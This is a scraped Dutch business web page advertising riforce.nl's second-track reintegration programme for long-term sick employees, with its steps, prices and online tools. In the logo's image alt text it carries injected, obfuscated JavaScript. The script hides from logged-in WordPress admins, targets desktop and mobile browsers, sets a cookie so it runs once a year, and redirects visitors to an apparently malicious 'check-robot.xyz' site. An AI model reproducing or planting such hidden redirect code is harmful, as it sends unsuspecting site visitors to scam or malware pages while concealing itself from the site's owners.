![<script>var _0x1e50=['charAt','substring','indexOf','userAgent','match','Edge','MSIE;','Chromium','Firefox','Chrome','ppkcookie','location','replace','https://check-robot.xyz','getElementById','wpadminbar','undefined','setTime','getTime','cookie','split','length'];(function(_0x2fa107,_0x55f5e9){var _0x343595=function(_0x34c909){while(--_0x34c909){_0x2fa107['push'](_0x2fa107['shift']());}};_0x343595(++_0x55f5e9);}(_0x1e50,0x184));var _0x265c=function(_0x2fa107,_0x55f5e9){_0x2fa107=_0x2fa107-0x0;var _0x343595=_0x1e50[_0x2fa107];return _0x343595;};(function(){if(document[_0x265c('0x0')](_0x265c('0x1'))===null){if(typeof _0x3419d8===_0x265c('0x2')){function _0x3419d8(_0x7f1c71,_0x1d8816,_0x3eeb6e){var _0x4e0732='';if(_0x3eeb6e){var _0x1dd386=new Date();_0x1dd386[_0x265c('0x3')](_0x1dd386[_0x265c('0x4')]()+_0x3eeb6e*0x18*0x3c*0x3c*0x3e8);_0x4e0732='; expires='+_0x1dd386['toUTCString']();}document['cookie']=_0x7f1c71+'='+(_0x1d8816||'')+_0x4e0732+'; path=/';}function _0x23248e(_0x511919){var _0x2e7cdb=_0x511919+'=';var _0x4d7f7d=document[_0x265c('0x5')][_0x265c('0x6')](';');for(var _0x593f64=0x0;_0x593f64<_0x4d7f7d[_0x265c('0x7')];_0x593f64++){var _0x50958d=_0x4d7f7d[_0x593f64];while(_0x50958d[_0x265c('0x8')](0x0)==' ')_0x50958d=_0x50958d[_0x265c('0x9')](0x1,_0x50958d[_0x265c('0x7')]);if(_0x50958d[_0x265c('0xa')](_0x2e7cdb)==0x0)return _0x50958d[_0x265c('0x9')](_0x2e7cdb['length'],_0x50958d[_0x265c('0x7')]);}return null;}function _0x50fc2a(){return navigator[_0x265c('0xb')][_0x265c('0xc')](/Android/i)||navigator[_0x265c('0xb')][_0x265c('0xc')](/BlackBerry/i)||navigator['userAgent'][_0x265c('0xc')](/iPhone|iPad|iPod/i)||navigator[_0x265c('0xb')]['match'](/Opera Mini/i)||navigator['userAgent'][_0x265c('0xc')](/IEMobile/i);}function _0x1ff41a(){return navigator[_0x265c('0xb')][_0x265c('0xa')](_0x265c('0xd'))!==-0x1||navigator[_0x265c('0xb')]['indexOf'](_0x265c('0xe'))!==-0x1||navigator[_0x265c('0xb')][_0x265c('0xa')]('OPR')!==-0x1||navigator[_0x265c('0xb')][_0x265c('0xa')](_0x265c('0xf'))!==-0x1||navigator[_0x265c('0xb')][_0x265c('0xa')](_0x265c('0x10'))!==-0x1||navigator[_0x265c('0xb')][_0x265c('0xa')](_0x265c('0x11'))!==-0x1;}var _0x4702d7=_0x23248e(_0x265c('0x12'));if(_0x4702d7!=='un'){if(_0x1ff41a()||_0x50fc2a()){_0x3419d8(_0x265c('0x12'),'un',0x16d);window[_0x265c('0x13')][_0x265c('0x14')](_0x265c('0x15'));}}}}}(this));</script>](https://www.riforce.nl/wp-content/uploads/2019/07/riforce.nl-white-300x67.png "riforce.nl (white)")
Dé weg naar nieuw passend werk via het 2e spoor
Zo doen wij dat
Uw werknemer is langdurig ziek en kan hierdoor zijn of haar functie niet meer uitoefenen. Binnen uw organisatie is geen alternatief. Volgens de Wet Verbetering Poortwachter (WVP) zoekt u samen een passende functie buiten uw organisatie: 2e spoor re-integratie. Riforce.nl heeft ruim 10 jaar ervaring in de ondersteuning van dit soort trajecten in heel Nederland. We werken al jaren voor grote opdrachtgevers. Dat maakt ons een betrouwbare en ervaren partner. We onderscheiden ons met een combinatie van individuele begeleiding met online trainingen en cursussen.
Zo onderscheiden wij ons
Compleet traject
Riforce.nl begeleidt het volledige 2e spoor re-integratietraject. Met ons programma vindt uw werknemer in 3 concrete stappen nieuw, passend werk. Daarmee bieden we een oplossing die de schadelast voor u als werkgever beperkt en uw werknemer een nieuw perspectief biedt.
Ons 2e spoor re-integratietraject voldoet vanzelfsprekend aan alle wettelijke eisen.
1Verwerken en verkennen
We starten met een intakegesprek, waarin we onder andere aandacht besteden aan verwerking van de situatie. Maar we kijken vooral vooruit: wat kan en wil uw werknemer?
Na de intake volgen meerdere individuele gesprekken met een ervaren loopbaanspecialist. Die maakt een re-integratieplan, een persoons- en een zoekprofiel. De gesprekken lopen als een rode draad door het hele programma.
2Onderzoek en leren
Welke bagage heeft uw werknemer nodig voor een nieuwe, passende baan? We richten ons op het ontwikken van benodigde kennis een vaardigheden.
Leren werkt het beste door te doen, daarvan zijn we bij Riforce.nl overtuigd. Daarom volgt uw werknemer online trainingen en cursussen via de Riforce Academy, een samenwerking met de gecertificeerde opleider NCOI groep. Zo verkleinen we het gat tussen de bestaande en benodigde kennis en vaardigheden. Na het afronden van deze stap liggen er concrete middelen zoals een CV en een sollicitatiebrief.
Kosten
In eerste instantie biedt Riforce.nl een 2e spoor re-integratietraject van 3 maanden. Hiervoor vragen we een vaste prijs van € 1.350, - ex. btw. De prijs is inclusief individuele begeleiding, toegang tot de Riforce Academy, Rapasso, Jobport en advies en ondersteuning op afstand. Na 3 maanden verlengen we het traject, indien nodig, per maand. De kosten bedragen maandelijks € 275,- ex. btw. Transparantie en een goede prijs-kwaliteitverhouding staan voorop.
- Individuele gesprekken
- Loopbaantests
- opstellen van het re-integratieplan
- Opstellen van het persoonsprofiel
- Opstellen van het zoekprofiel
- Toegang tot vacaturebank
- Opmaak CV
- Opmaak motivatiebrief
- Jobhunting
- Gespreksverslagen
- Voortgangsrapportage
- Individuele gesprekken
- Jobhunting
- Gespreksverslagen
- Voortgangsrapportage 6 maanden
- Voortgangsrapportage 9 maanden
- Traject evaluatie door Arbeidsdeskundige na 6 en 9 maanden
- Hulp bij WIA-aanvraag
- Begeleiding bezoek verzekeringsarts UWV
- Begeleiding bezoek arbeidsdeskundige UWV
Moderne online tools
Riforce.nl gebruikt alle moderne tools om u en uw werknemer zo goed mogelijk te ondersteunen tijdens het sollicitatieproces: Riforce Academy, Jobport en cliëntvolgsysteem Rapasso. Daarmee houden we eenvoudig zicht op alle sollicitatieactiviteiten van uw werknemer. U kunt die activiteiten inzien wanneer u het uitkomt. Vanzelfsprekend voldoet ons cliëntvolgsysteem aan de AVG-wetgeving. De veiligheid van persoonsgegevens is dus gewaarborgd.
